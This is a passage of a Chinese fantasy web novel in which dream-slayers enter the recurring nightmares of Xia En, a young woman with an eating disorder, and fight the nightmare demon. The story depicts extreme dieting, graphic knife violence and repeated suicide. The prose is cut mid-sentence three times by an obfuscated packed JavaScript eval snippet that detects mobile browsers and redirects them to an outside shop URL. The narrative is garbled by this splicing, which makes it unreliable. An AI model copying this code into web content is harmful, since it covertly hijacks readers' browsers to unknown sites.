葡萄一样大的眼睛渐渐变小,引以为傲的小脸慢慢变大,两边的肉多得让自己看起来像快馒头。 年级增大,夏恩发生了彻底的改变。 眼下乌青的黑眼圈,鼻尖上反光的油脂,还有时常在脸上泛红的青春痘。 至此,“猪头”成了女孩的代名词,她开始没了姓名。夏恩强制自己节食运动,可每一次都适得其反。 她脱离理智的掌控,一发不可收拾地向四周膨胀。 10. 第 10 章 被人抛弃的滋味是什么样的?夏恩从未想过,也不敢去想。 她伴着父母的争吵声睡下,滚烫的泪水悄然从眼尾划过,再次醒来时,家里空无一人。高三的生活枯燥无味,每天都是两点一线。 下午,课间休息。 在外集训的舞蹈生罗馨然回到班上,刚进门就被同学围成一圈,七嘴八舌地讨论外面的新鲜事情。夏恩坐在位置上目光不自觉落在人群中央的罗馨然身上,被人众星捧月是怎样的感觉? 她没有答案。 但对于罗馨然来说,这就是日常吧。夏恩羡慕地看着女孩从包里掏出软糖罐子,向身边人分发。每个人都在称赞她。 成绩好,身材好,长相好。父母对她无限宠爱,全学校的人都喜欢这个闪闪发光的人。这一刻,夏恩也想成为罗馨然。 夏恩开始不择一切手段极端节食减肥,直接短时间减下去几十斤,人看起来特别精神萎靡。成绩直线下滑,身体出现各种毛病,六月的高考女孩发挥失常落榜,父母也在月底办理完离婚手续。 女孩站在宿舍的穿衣镜前欣赏着自己干瘦的身体,格外迷恋,她已经不再是之前那个夏恩了。 “夏恩,有兴趣做网店模特吗?” 不错的脸蛋加上瘦到极致的身材,夏恩被推荐做了网店服装模特。自己赚了钱后,原本断交已经重建家庭的父母开始缓和他们的关系。 女孩交到做服装设计师的男朋友Alex,他把夏恩当做自己的缪斯设计衣服。在夏恩的展示和网络的推送下,他们的网店快速爆单,设计的衣服成了当下最时髦的穿搭。 夏恩以为幸福的日子即将到来,却在厕所里发现男朋友出轨的聊天记录。上面的每一个字,都如锋利的石头击碎了女孩日思夜想的美梦。 “Alex,你告我这些是什么?”夏恩将打印出来的聊天记录狠狠砸在甩在男友脸上。女孩一腔怒火,声音止不住拔尖:“你不是说这件衣服是设计给我的吗?” 厚厚一沓的A4纸砸得男人眉头紧皱,不堪入目的聊天记录散落在地上各个角落,顿时引来同在工作室办公的同事。 “夏恩,你到底在闹什么?”Alex压低声音,发出警告:“如果你再胡搅蛮缠下去,我就叫保安上来把你押走!” “行啊!”夏恩爽快答应道,身体却因极度紧张颤抖着。她再次开口:“在这之前,我要揭发你的所有,你的欺骗你的抄袭。如果让赛事主办方知道你的这些事,你说你的作品还能入围吗?” 围观的同事没有一个上前来阻止这场闹剧,每个人都站在角落众说纷纭地议论着此事。男人耳边不断传来说话声,他听得脑袋直突突得疼。 设计师Alex参加了一个互联网的服装大师赛,如果成功入围的话自己的设计不仅将会被拿去做展览,还会受到行业大佬的赏识。可谓,前途无限光芒。 想到自己的前途,Alex又把嘴里的话咽下去,故作冷静地转身向同事们解释道:“抱歉,和女朋友产生了点误会,大家都散了吧!” 众人意犹未尽地只好离开,等人走得差不多了,Alex关上办公室的门。他一张张捡起那些纸,随手扔进碎纸机里。男人露出柔和的神情,牵起夏恩的手慢慢摩挲着,哄道:“我和rosy只是同事关系,那件衣服她只是试穿而已,你不要太过紧张了。” “你不是说等这场赛事过后咱们就同居吗?我看了好几处位置比较好的公寓,你要不要过来瞧瞧?你就是我的缪斯,没有你我的网店早就倒闭了。” “你知道的,我是最爱你的。”Alex深情款款地望着女孩,如果不是知道所有事情,夏恩一定会沉溺在他的甜言蜜语中。 无可救药,也不可自拔。 夏恩冷眼看着Alex,心里掀不起一点波澜。“第一,你和rosy的关系是不是只是同事,这个我自有定夺。我知道你和她的所有,你们去国外约会的合照,在酒店的开房记录等等,我都有证据。” “第二,我们不会同居。从今天起,我们两个就正式分手,从此一别两宽。还有,我已经把你所有抄袭的作品交给了赛事主办方。你可以等着被退赛起诉吧!” “第三,请立马结清这三年我在店里的加班费。” 女孩的声音虽然不大,但字字说得铿锵有力。 Alex的脸上挂不住面子,他没想到一向内敛温柔的夏恩竟然会说出这些话来威胁。可她一个女人,又能掀起什么大风大浪呢?男人在心里自嘲一下。 “你既然这么说,那我也没必要给你留脸面了。”Alex嘴角微微上扬,冲姑娘露出一个阴险的坏笑,“你知道我为什么会让rosy来当模特吗?” “因为她完美!她的身体没有一丝赘肉,没有一道伤疤,而你的身体早就没了之前的瘦感,大腿到处都是肥胖纹。我每次看到这些,都觉得你在玷污我的艺术。” “你的身体,特别恶心。” 刹那间,女孩只觉得浑身发冷,自己仿佛被冻住成一个冰块。脑海里回想起才进店当模特时,男人对自己的夸赞好刺耳。 夏恩从Alex籍籍无名时就一直陪在他的身边,网店爆单的时候他不愿意多请人打包发货,夏恩便一没课就过来干活,到最后竟然落到这个地步……恶心。 画面最后一幕定格在女孩的公寓,夏恩颓废地坐在地上麻木地大口吃着外卖。吃着吃着,胃里翻江倒海承受不住便开始吐,女孩精神恍惚地倒在地板上。 放映结束,孟晓初心情复杂地起身,张口问道:“我们现在要怎么救她?” “进入夏恩的梦境。”韩征整理好自己的衣服,又说到:“看她的记忆是为了后面的续编梦境不违背本意识。” 孟晓初郑重地点点头,关切地又问:“我们在这里待这么久,不会影响到夏恩吗?”女孩又想起来夏恩在床上的那一番动作,不禁打了个寒颤。 韩征摇头解释道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531252|203670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不会的。你虽然感觉过了很久,可现实是才过去一分半。” “那梦魇多久才会出现呢?” “立刻。” 忽然,眼前的幕布和脚下的地毯开始消失,两人身后的椅子也迅速融化,四周的场景重新塑造成办公室的模样。孟晓初警惕地扫了一圈,这是Alex的办公室。 女孩明白,他们来到了孟晓初的梦境。 办公室的门被缓缓打开,一个脑袋探进来,是夏恩。女孩四处张望发现没人后,鬼鬼祟祟地溜进办公室。她快速打开Alex的衣柜,里面只有一件礼服。 一件藏黑色修身的鱼尾抹胸绑带晚礼服,这是Alex的参赛作品。夏恩把礼服取下来,三下五除二地装进自己塑料针织袋里,临走之前,夏恩又在办公桌上留下一张纸条,偷偷摸摸退出办公室。 孟晓初还没看清纸条上的字迹,身边的场景又发生转变。 这次是熟悉的环境,夏恩的公寓。 女孩站在试衣镜前开始一件一件脱掉自己的衣服,只剩下基本的内衣内裤。镜子里,她的身体干瘦如柴,可以清晰看见皮肤之下的骨头。 简单来说,是一副空有皮囊的骷髅。 夏恩满意地左右转了转,露出自信的笑容,随后开始上身穿那件晚礼服。她背着手拉拉链,孟晓初清楚地看见礼服还空着一拳头的距离,可女孩上拉地手却怎么都拉不动拉链。 一次、两次、三次……女孩脸上的笑容一僵,不可置信地偏过去看后面。 后背的皮肤紧贴着晚礼服,身上的赘肉溢出拉链口。 夏恩回过头深吸一口气憋着,她再次动手上拉,费了九牛二虎之力,晚礼服才真正穿好。女孩不敢大喘气,只能小心翼翼地呼吸着空气。 “我穿上了。”她喃喃自语道。 突然,身后传来“啪”的一声——晚礼服的拉链蹦开了。 夏恩转过身一看,自己的背后的肉已经把拉链挤坏,没有束缚的拉链一路开到最底。 就算是这样,女孩还是感到呼吸急促,她又提了提裙子。夏恩盯着镜子里的自己,大脸小眼蒜头鼻,手臂上的拜拜肉松弛地垮着,肚子上的赘肉又大又多,她努力地吸气收腹都没有一点效果。 “不可能!” 话刚说完,背后的衣服又撕裂开。卧室安静得落针可闻,夏恩的耳边只有礼服撕裂炸开的声响,她浑身无力猛地跪在试衣镜前,精美黑色紧身礼服被撑得四分五裂,狼狈不堪。 夏恩抬眼看向镜子中,模样是高中时候的她。 “这不是我,这不是我!我没有这么胖,没有这么多肉!”夏恩冲镜子里的自己喊道,“你是谁?你究竟是谁?!”一直喊道没有力气,她又低头倒在礼服纸上放声痛哭。 孟晓初看着女孩疲惫无神的惨样,心里不禁泛苦。她抬脚上前准备扶起女孩,忽然手臂一紧,韩征硬生生地将她拉回身边。 “嘘,梦魇来了。” 11. 第 11 章 大开的窗户夏风吹进,吹得两旁的窗帘张牙舞爪,似乎要吞没一切。高大的立体试衣镜中,一个身穿简单白色连衣裙的女孩悠然从里走出。 她低头蔑视着地上苟延残喘的夏恩,眼里尽是讥讽的味道。“废物。”女孩站在夏恩的身前,嘴里轻飘飘地吐出一句话。她蹲下身子,仔细端详夏恩的眼睛,里面没有一丝活气。 忽然,她开始发笑,病态疯魔的笑声听得孟晓初心头一毛。她盯着女孩的身影,不自觉地屏住呼吸。 眼前的这个女孩不是别人,而是另一个夏恩。 “她是梦魇?”孟晓初疑惑道。韩征点点头,两人退到卧室的角落里观察着前方。 在孟晓初的意识里,梦魇应该是青面獠牙、凶神恶煞的怪物,现在一看却是人的克隆体。“他们都是以人的模样出现吗?”。 “梦境里梦魇都会化成原主记忆中的人物来吸食精气,在未彻底吞噬之前,都不会随意显化自己的原型。” “那我们现在就要出手吗?”女孩再次开口,内心为夏恩捏了一把汗。 “等一会儿,我们还没看到所有的梦境。”韩征的话音刚落下,蹲在夏恩身前的梦魇突然骑到女孩的身上,伸手死死掐住她的脖子,手背上的青筋暴起,脸上的阴邪的笑容愈发疯狂。 “呜呜呜……”夏恩顿时发出痛苦的呻/吟。 女孩脸上的五官挤成一团,她慌乱地挥舞着双手试图推开眼前的恶魔,可再怎么用力,身上的梦魇都纹丝不动。 夏恩的反抗,成了梦魇眼中独一无二的笑料。她痴迷地盯着女孩双眼,仿佛要看穿她的所有,手上的力气也越来越大。 几分钟后,女孩没了动静,纤细的手臂陡然倒下砸在地板上。 孟晓初呼吸一滞,“她这是死了吗?” “没有,她只是昏过去了。梦魇上身想要掐死她,但奈何对方的大脑反抗意愿过于强烈。”韩征从口袋里掏出一把小巧、精美的匕首递给女孩,又补充道:“在夏恩的梦里我们都是外来者,做出的任何都一时伤害不了她。” 孟晓初轻轻抚摸着刀刃,却奇钝无比。“这么钝用来干什么?” “梦境之外用来防身。” 晓初立刻明白对方的意思,迅速把东西收进自己的包里,但还是疑惑这么钝的匕首能划开什么呢? 没等她再次开口,几人身后的环境又开始变化。天旋地转间,他们的四周竟然出现多张镜子! 脚下、头顶,全是明亮、无边的镜子。 一张镜子反射出更多的镜面,白花花的一片让人头晕眼花。 孟晓初惊奇地发现她和韩征的身影并没有出现在镜子里,这是梦魇特制的迷宫。 躺在镜面上的夏恩迷迷糊糊睁开眼,一眼便看到了头顶镜中的自己,穿着Alex的那件黑色紧身晚礼服,紧贴皮肤的束缚感让女孩呼吸不由得急促。 “这是哪里?”夏恩环视一圈周身陌生的环境,声音止不住地颤抖。她艰难地站起身提起脚下的裙摆,一点一点走到跟前的镜子,抬手摸了上去。 坚硬、冰凉的触感。 顺着镜子夏恩慢慢往前走,本以为到尽头的路又生出两条道。面对选择,女孩有些忐忑不安,最后凭着感觉走下去。 一条路走到底又分出两条路,如此循环往复。夏恩回头一瞧,每张镜子都反射出不同角度的自己,安静的迷宫只有她一人。 夏恩明白再这么无头苍蝇似的走下去,她永远都找不到出路,只能迷失方向困在这里。困在这里的结果是什么?等死。 夏恩慌了,不安的心变得焦急,如一只刚被困进牢笼的小鸟。 女孩决定往回走,或许在最初的地方有出去的途径。按照记忆夏恩提着裙子又返回,左进右拐又走进一方天地,看到一张张镜子中熟悉的面孔,女孩心碎的闭上眼。 既然走不出,那就硬闯。 夏恩握紧拳头一拳比一拳更重地挥向眼前的镜子,一下两下三下……镜子出现一道裂痕,两秒过后那道裂痕瞬间向西周蔓延。 “啪——”一声巨响在女孩跟前炸开。 刹那间,黑暗的空洞中传来脚步声,不紧不慢地朝夏恩靠近。等看清黑洞中走来的身影时,女孩的两眼顿时睁大,不可置信地后退两三步。 因为,出来的人不是其他妖魔鬼怪,而是高中时期的夏恩。穿着校服的夏恩走到女孩的跟前,两人的眼神紧紧交汇,她们的距离很近,甚至在对方的眼里夏恩看到了自己,那人嘴巴一张一合吐字所带来的热气夏恩都感受得真真切切。 “夏恩?”高中的夏恩死死盯着眼前的女孩,语气惊讶。 那一刻,女孩脑中紧绷的丝线彻底断开,见鬼一样的夏恩转身狼狈地跑开。她提着裙子顾不上方向横冲直撞,生怕下一秒对方便抓住自己。 事情也如她所料,刚跑没两步黑洞中的夏恩便踏进镜子迷宫,右手抓住了她的胳膊,修长的指甲狠狠刮进她的皮肉里,痛得女孩剜心。 “滚啊!滚啊!”慌乱的夏恩紧张的闭上眼挥舞着拳头,忽然,胳膊上的束缚松懈了。再次睁开眼,那个高中时候的自己竟然消失不见了。 这是梦吗? 手臂上的持久不消的刺痛感让女孩清醒过来,夏恩的胳膊上泛起一层鸡皮疙瘩。同时,她的脑子里闪过一个念头。 既然,高中时期的她可以从黑洞里走进来,那她是不是也可以从黑洞里走出去? 夏恩没有丝毫犹豫,再次握紧的拳头的又砸向镜子。镜子碎了,黑洞中传来一阵孩童的嬉笑声,跑出来的是穿着小红裙子的夏恩。 那是七八岁的自己。 小孩从她的身边跑过,夏恩伸手想要留住对方却错过,只能看着她消失在镜子里。夏恩看着打开的黑洞,汗津津的双手大力地拍了拍脸颊,她缓缓走向黑洞,在即将踏进时眼前的黑洞突然合上一道镜子出现在跟前。 夏恩清晰地看见自己。 不死心的女孩又开始砸镜子,如前面一样,镜子碎了黑洞中又走出人来,是初中时期的夏恩,黑洞也再次合上化成镜子。 夏恩疲惫不堪地走在镜子迷宫里,身上的礼服紧得她喘不过气,她的脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537137|203670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越慢,最终停在一张镜子前。 夏恩坐在镜子前休息了很久,如果说每张打碎的镜子对应的是不同时期的自己,那么这一张将会是大学的自己,也就是现在。 她就在这里,谁也不能替代。 思考了很久,夏恩还是决定再砸开一扇镜子。早已血肉模糊的双手使出比以往更大的力气,一拳又一拳,她不知道自己砸了多久,只记得自己颤抖了许久。 但女孩看到裂缝的那一刻,激动兴奋的心情立刻忘记之前的痛苦。镜子碎掉,黑洞出现。这一次,黑洞中没有传来任何声响,更没走出任何人。 夏恩压抑着愉悦试探性地将手伸进黑洞里,想象中的一张镜子没有从天而降。女孩确信自己找到出去的路,抬脚便要往里跨。 突然,有人握住了她的手臂,那种诡异、不安甚至是窒息的感觉像一条吐着信子的毒舌悄然爬上夏恩的身上,直击头顶。 夏恩来不及回头,她便被人用力扯回原地,女孩瘫坐在镜面上抬头看到了之前消失的夏恩们。 她们将女孩紧紧围成一圈,人人拿着一把泛着白光的小刀随意把玩,神情悲悯。 “夏恩,你怎么能如此瘦呢?没有好好吃饭吗?”高中时期的夏恩举着小刀缓缓划过女孩的脸颊,眼神充满怜爱和关心。 夏恩不敢直视那人的眼睛,偏头瞧见镜中自己的惨样,女孩感觉格外的冷,如身处幽暗无光的地窖般。 “你为什么不跟我们合群呢?”初中的夏恩有一下没一下甩着小尖刀,见女孩不回答身子一倾刀尖直逼对方的喉咙。 刀尖在喉咙上割开一条条小伤口,鲜红的血珠瞬间密密麻麻地冒出来。夏恩的身子如筛糠样发抖,说话也哆哆嗦嗦:“你们到底是谁?为什么要把我关在这里?” “我们是谁?”高中的夏恩一字一字重复道,说完还认真思考起来,片刻后她立马发出阴阳怪气地笑声。 “你是谁,我们就是谁。” 此话一出,夏恩立刻起了一身冷汗。尽管不想承认,但女孩无法摆脱的事实是她们都是曾经的自己。 “现在该玩分蛋糕游戏了!”一直没开口的小夏恩突然惊呼,脸上洋溢着幸福的笑容,声音奶声奶气。她举着小刀在夏恩裸露、白净的后背上分区划块。 夏恩立马上手去夺小孩的刀子,大喊道:“你们这是要做什么?”。不料半路被人拦下,初中的夏恩扬开她的手并反制,“看看你现在这个样子,你不是一直想要瘦吗?那我们就来帮你完成这个心愿吧,不用感谢哦!” “因为这是背叛者的下场。” 她说完便扬起手中的刀,毫不留情地划开夏恩后背的皮肤。 夏恩倒在地上通过头顶上的镜子,一清二楚地看见这三人如何一刀一刀分开她,她的挣扎、还击、痛苦、求饶成了这些恶魔的兴奋剂,让划进骨肉的刀子更深。 女孩声声惨叫顿时穿透所有的镜子,孟晓初听得心惊胆跳。为了不暴露自己的身份,她也只能闭上眼不被过多干预。 忽然,一声清脆的破碎声刺进孟晓初的耳朵里。 12. 第 12 章 脚下的场景光速变换,等孟晓初看清四周时,他们又回到夏恩的公寓。 夏恩的梦境开始重复。 第一场梦,夏恩“惨死”在曾经的自己手中,第二场梦,夏恩的结局依旧是死在万刀之下。直到进入第三场梦,夏恩意识到自己在做梦,明白后面的故事和结局,她选择不去意气用事偷走Alex的设计品。 但她怎么又能逃得出梦魇的手掌心呢? 梦境一开始,不是Alex的办公室更不是她的公寓,而是夏恩小时候和爷爷奶奶住的废弃老小区。父母把她留在爷爷奶奶身边,一直到高中才接走。夏恩的童年虽然没有父母的身影,但一直出现爷爷奶奶的笑容和关心。 梦魇改变了梦境,以夏恩爷爷奶奶的身份用爱的名义给女孩套上美丽的枷锁。夏恩站在试衣镜前想要脱下,可无论怎么用力,身上的衣服仿佛被灌满胶水和自己紧紧相贴。夏恩开始焦虑,开始挣扎,梦境却走上正轨。 黑色的晚礼服被撑破,镜子里另一个夏恩,没有尽头的镜子迷宫和不同时期的夏恩对她的报复。夏恩沉睡在万刀下的雕刻,又在熟悉的环境中醒来,穿上鱼尾晚礼服再经历每一遍事。 梦做多了,人便很难分清现实和梦境,哪怕这是个光怪陆离、毫无逻辑的梦。在数千遍地重复下,人们也会将这么猛划为现实一栏。夏恩就是那个迷失在梦中的人。 女孩拖着裙子漫无目的地走在迷宫里,她已经打碎三扇镜子了,只要再打碎一扇镜子,她又可以再次进入梦里。内心无望的夏恩再次抬手,狠狠砸向眼前的镜子。 这一次,她没有受三人的万刀之苦。夏恩迅速夺过儿时自己手中的尖刀,在三人震惊的目光下刺进喉咙。如果结局必定是被曾经的自己杀死开启梦境,那么夏恩想自我了结以此打破永远醒不来的局面。 温热的鲜血顺着脖子一路往下流,女孩满足地闭上眼祈祷结束,耳边传来开门的声音,夏恩睁开眼的第一瞬间便看到了自己的父母,他们提着那件鱼尾礼服高兴地朝女孩介绍。 “生日快乐,宝贝!这事我们给你买的生礼物,快穿上让我们瞧瞧!” 梦境再次开启重复…… 角落里,孟晓初看着女孩一遍一遍陷入死亡,一开始积极充满干劲的心现在也复杂难言、五味杂陈。“我们什么时候开始行动?”她开口问道,右手悄悄捏紧包里的匕首。 “等她这次死亡。”韩征回答道。 “为什么要等她这次死?”女孩再次发问。关于梦魇,孟晓初还有很多疑惑,等这一次任务完成后,她一定得逮着韩征好好问问。 韩征的目光落在人形梦魇上,看着夏恩在梦魇的包围中决绝地自刎,语气平缓:“等级不同的梦魇对于吞食的精气要求不同,越高越讲究原主的自愿性。自愿性越强,精气才更好被梦魇吸收利用。” “我们要等夏恩完全自愿、主动地献出生命。” 这时,是梦魇最脆弱的时候,更是斩魇改梦的最好时机。 “半个小时后开始编梦。”这是孟晓初消散前韩征对她说得最后一句话,之后,女孩便被韩征送出梦境。她坐在卧室的木椅子上,悬挂在墙上的圆钟才过去十八分钟。 十八分钟,五个梦,无数次崩溃。 在梦境中发生的一切,孟晓初都记忆犹新。她不敢停下来,强制自己镇定下来复盘所有梦境,她的的每个字都影响着夏恩的生命。 * “明日乌云转晴,北风2到3级,气温区间在21到26摄氏度适宜户外活动……”老旧的电视机播放着明日天气预报,窗外的天空灰蒙蒙一片,有着落雨的趋势。未开灯的客厅黑黢黢,电视机弱弱的光亮映出蜷缩在沙发角落里女人憔悴的脸庞。 夏恩伸手裹紧身上的毛毯,窗外大风刮过,养在阳台上的多肉被刮倒在地摔得粉碎。巨大的破碎声吓得女人身子一抖,将脚下的裙摆全部收进腿间。 天气预报播完后,这个台又播放某家庭狗血伦理剧的新预告。夏恩没有换台,看着屏幕上来来回回的人物双眼失焦,开始走神。 侧放在电视机旁的试衣镜渐渐起雾模糊,一个少女的身影慢慢清晰。 夏恩缓过神,脸上的透着呆滞。不是因为电视机上婆媳矛盾的大吵大闹,而是她的跟前站了一个人,她不自觉地吞咽掉一点口水,掌心的温热在喉咙的皮肤上愈发的滚烫。 “你这么软弱的人为什么还活着呢?”女孩的话很轻,如一片柔软的羽毛落在夏恩的心上。 是啊,她就是软弱,软弱到一个连蚂蚁都不如的人。她可以为了所有人让步将自己改变得面目全非,但不会肯定自己,只要不被人抛弃丢下,就算每天做一个虚假的空心人夏恩也愿意。 她就是这样的,一个永远为别人而活的人。而这样的人活着又有什么意义呢?毫无意义。 夏恩没有反驳,她无力地闭上眼等待自己的惩罚。 忽然,一个声音在耳边响起,想象中的窒息感没有传来。 “斩魇师?”梦魇猛地松开手,快步后退到是试衣镜旁,脸上没有丝毫的的意外。“终于把你等来了,韩征。” 夏恩抬头一瞧,不知何时自己的身边居然多了一个男人。还未看清他的样貌,自己的视线却模糊眩晕,夏恩倒在沙发上。韩征手中紧握一把银剑,不说分由便朝梦魇——白裙子的夏恩刺去。 女孩身子一侧,巧妙避开韩征的攻击。随后,两人展开正面交锋,场面十分热火。 梦魇轻声低吟咒语,迅速裂开的手心伸出两条宽大透明似水袖的玻璃长带,如狡猾的毒蛇一般向斩魇师的脖颈处缠绕。“韩征,坏了别人的好事是要承受相应代价的。”梦魇噗嗤一声,讥讽道:“你现在叫陈三叔过来,我不算你搬救兵。” “乙级梦魇想变成甲级,痴人说梦。”韩征不屑一笑,剑刃以闪电般的速度朝梦魇的肩膀砍去。他的银剑自带寒气,所到之处三秒内必定结出冰霜。 玻璃长带方向急转,立马贴上韩征的银剑,包裹得严丝合缝。银剑泛着淡淡月光,在层层玻璃地透射下光亮如昼,剑身的寒气在玻璃上起一层抹不开的厚雾。 被冻住的玻璃长带没了之前的灵活,笨重地往后撤想松开对银剑的缠绕,可每后退一点,冰霜便变本加厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539603|203670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地冻结所有,直到对方无法行动。 “嘭——”玻璃炸开,碎渣子如满天繁星从高空坠下,落得满地。 “斩魇师真如传闻所言,法力非凡。”梦魇拍手称赞道,脸上牙关紧咬露出牵强的笑容。女孩手心的裂缝再次张开,两条崭新且更宽大的玻璃长带从中生出。 韩征没有开口,抬手擦掉宝剑上的玻璃渣,起势往梦魇的眉间探去。眨眼间,梦魇变成了穿着黑色晚礼服的夏恩,她站在梦魇的地方无助地望着男人。 男人剑锋一偏,劈开了茶几上的花瓶。等他转过身时,眼前突然出现了两个穿着礼服的夏恩。韩征心中一震,梦魇操控着原主夏恩居然来混淆他的视线。 更令人震惊的是梦魇与夏恩结合在一起,她们的手心纷纷飘起玻璃长带,它们蜿蜒着身子向韩征发起攻击。 梦境的一切支撑都源自夏恩,如果她在这里受到伤害导致从梦中醒来,梦境将坍塌而韩征则困在梦中,永无抽身之法。想到这里,韩征立刻改变进攻的计划,开始处处小心避让。 他得找到漏点。 忽然,韩征脚踝发紧。男人低头一看,一条布满裂缝的玻璃带一点一点向上缠紧自己的大腿,他顺势起剑向玻璃砍去。突然,客厅开始如地震般剧烈地摇晃。天花板上的吊灯炸开,茶几上的七零八碎统统摔在地上,碎了一地渣滓。 韩征也被这突然的摇晃,一个踉跄倒在沙发上。 他这是打到真正的夏恩了。 为了避免再次出现这种情况,男人收回自己的银剑让它与自己的脊骨相融。“韩征,你也不过如此。”梦魇调侃道,大手一挥将男人的腰间紧紧缠住,直接甩向白墙。 韩征借劲身子一滚,轻身从墙上走下来从容道:“你的功夫就算再食上百个人的精气也达不到甲级。”见状,梦魇脸上的笑容顿时消散一大半,玻璃带快速收短韩征跟着也向两人靠近。 韩征夹在两个夏恩的中间,他们的距离只有一拳。女孩右手高高扬起,原本收回的玻璃长带再次从手心的裂缝中伸出,形成一个乳白色的空洞即将吞噬男人。 这一刻,韩征清楚地看见她的手掌充满玻璃碎渣。 大大小小的渣滓,全部扎进女孩的手掌。韩征的脑子迅速闪过光点,这些玻璃不是扎进去的,是从皮肤里长出来的。 眼前的这个夏恩,就是梦魇! 韩征立马从身后抽出银剑,在空洞吞噬的前一秒,双手大力劈开眼前的障碍。玻璃炸开的噼里啪啦声在耳边响起,男人双手握紧宝剑斜着砍进夏恩的脖颈。 梦魇双眼瞪大,眼里滑过一丝惊愕。 如他所料,人类的鲜血没有涌出,他身上的玻璃长带也立刻松开。梦魇欲断的脖子以肉眼可见的速度迅速愈合,刚才所砍开的血肉立马变成了玻璃碎渣零星地落在地上。 失去操控的夏恩如断线的风筝闭眼倒地,脸色惨白得像入坟火化的纸扎人。 “还是被你发现了,哈哈哈哈。”穿着黑色礼服的梦魇发出尖细刺耳的笑声,机灵古怪地冲着韩征吐了吐舌。 “等会儿的游戏,可就没这简单了!”